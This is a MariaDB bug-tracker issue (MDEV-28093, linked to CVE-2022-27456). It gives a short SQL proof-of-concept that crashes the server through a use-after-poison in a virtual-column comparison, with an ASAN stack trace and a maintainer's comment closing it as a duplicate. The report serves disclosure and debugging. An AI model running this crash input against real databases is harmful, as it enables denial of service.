





MariaDB Server

MDEV-28093

MariaDB UAP issue

Details

Type:	 Bug
Status:	CLOSED (View Workflow)
Priority:	 Major
Resolution:	Duplicate
Affects Version/s:	10.9.0
Fix Version/s:	N/A
Component/s:	N/A
Labels:	None
Environment:	Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

Description

PoC:

```
CREATE TABLE v0 ( v2 INT PRIMARY KEY , v1 SERIAL NOT NULL ) ;
INSERT INTO v0 VALUES ( 16 , NULL ) ;
ALTER TABLE v0 ADD v0 FLOAT AS ( ( 'x' LIKE JSON_DETAILED ( ( CURRENT_USER * ( TRUE
SELECT * , v1 IN ( 'x' ^ -128 , -1 ) FROM v0 AS v0 ORDER BY v2 FOR UPDATE ;
SELECT * , v2 IN ( 'x' ^ 45 , -1 ) FROM v0 AS v0 ORDER BY v2 ;
SELECT * FROM v0 WHERE NOT ( 'x' = v1 AND v2 = -1 ) ORDER BY v1 ;
SELECT * FROM v0 WHERE NOT ( 'x' = v1 AND v2 = 8 ) ORDER BY v1 ;
```



report (compiled with ASAN):

```
=====
==8795==ERROR: AddressSanitizer: use-after-poison on address 0x62900008e140 at
READ of size 8 at 0x62900008e140 thread T14
#0 0x12ea7a6 in VDec::VDec(Item*) /root/mariadb/sql/sql_type.cc:301:16
#1 0x16b8e06 in Arg_comparator::compare_decimal() /root/mariadb/sql/item_cm
#2 0x16be218 in Arg_comparator::compare() /root/mariadb/sql/item_cmpfunc.h:
#3 0x16be218 in Item_func_eq::val_int() /root/mariadb/sql/item_cmpfunc.cc:1
#4 0x1315e0d in Type_handler_int_result::Item_val_bool(Item*) const /root/m
#5 0x16ec0f7 in Item_cond_and::val_int() /root/mariadb/sql/item_cmpfunc.cc:
#6 0x178256d in Item_int_func::val_real() /root/mariadb/sql/item_func.cc
#7 0x178a856 in Item_func_mul::real_op() /root/mariadb/sql/item_func.cc:136
#8 0x1783301 in Item_func_hybrid_field_type::val_str_from_real_op(String*)
```

```
#9 0x127e866 in Item_func_json_format::val_str(String*) /root/mariadb/sql/i
#10 0x16ee822 in Item_func_like::val_int() /root/mariadb/sql/item_cmpfunc.c
#11 0x164cc16 in Item::save_int_in_field(Field*, bool) /root/mariadb/sql/it
#12 0x164ce59 in Item::save_in_field(Field*, bool) /root/mariadb/sql/item.c
#13 0x1072e98 in TABLE::update_virtual_fields(handler*, enum_vcol_update_mo
#14 0x15ca0f7 in handler::ha_index_first(unsigned char*) /root/mariadb/sql/
#15 0xe5db5c in join_read_first(st_join_table*) /root/mariadb/sql/sql_selec
```

▼ Issue Links


duplicates

 [MDEV-24176](#) Server crashes after insert in the table with virtual column ...  **CLOSED**

links to

 [CVE-2022-27456](#)

▼ Activity


▼  [Alice Sherepa](#) added a comment - 2022-03-22 09:47

Thank you for the report!


I repeated the issue, this is the same bug as [MDEV-24176](#), but with another data type.

▼ People

Assignee:

 Unassigned

Reporter:

 Jingzhou Fu

Votes:

0 Vote for this issue

Watchers:

3 Start watching this issue

▼ Dates

Created:

2022-03-16 09:49

Updated:

2022-04-27 15:58

Resolved:

2022-03-22 09:48

▼ Git Integration

❗ Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.